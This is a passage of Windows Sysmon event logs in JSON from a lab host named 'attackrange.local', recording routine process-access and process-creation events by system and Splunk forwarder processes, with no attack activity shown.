C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\NGenTask.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nTargetProcessId: 4796\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.DLL+37d14(wow64)|UNKNOWN(000000000129404B)|UNKNOWN(0000000001293CFC)|UNKNOWN(0000000001294ADD)|UNKNOWN(0000000001292444)|UNKNOWN(0000000001290B66)|UNKNOWN(000000000129054F)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll+ebf6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll+11e50(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll+179f4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll+117fd6(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.447","SourceProcessGUID":"{90617006-422C-5F2D-0000-00107E300900}","SourceProcessId":"4160","SourceThreadId":"4420","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\NGenTask.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","TargetProcessId":"4796","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.DLL+37d14(wow64)|UNKNOWN(000000000129404B)|UNKNOWN(0000000001293CFC)|UNKNOWN(0000000001294ADD)|UNKNOWN(0000000001292444)|UNKNOWN(0000000001290B66)|UNKNOWN(000000000129054F)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll+ebf6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll+11e50(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll+179f4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll+117fd6(wow64)","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6355,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nTargetProcessId: 4796\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","TargetProcessId":"4796","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6356,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.447\r\nSourceProcessGUID: {90617006-422C-5F2D-0000-0010CF310900}\r\nSourceProcessId: 604\r\nSourceThreadId: 2692\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nTargetProcessId: 4796\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.447","SourceProcessGUID":"{90617006-422C-5F2D-0000-0010CF310900}","SourceProcessId":"604","SourceThreadId":"2692","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","TargetProcessId":"4796","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6357,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.604\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.604","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6358,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.901\r\nProcessGuid: {90617006-422D-5F2D-0000-001076630900}\r\nProcessId: 2856\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Windows Print Monitor \r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-winprintmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.901","ProcessGuid":"{90617006-422D-5F2D-0000-001076630900}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","FileVersion":"8.0.2","Description":"Windows Print Monitor ","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-winprintmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6359,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.900\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-001076630900}\r\nTargetProcessId: 2856\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.900","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-001076630900}","TargetProcessId":"2856","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6360,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.900\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-001076630900}\r\nTargetProcessId: 2856\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.900","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-001076630900}","TargetProcessId":"2856","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6361,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6362,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6363,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 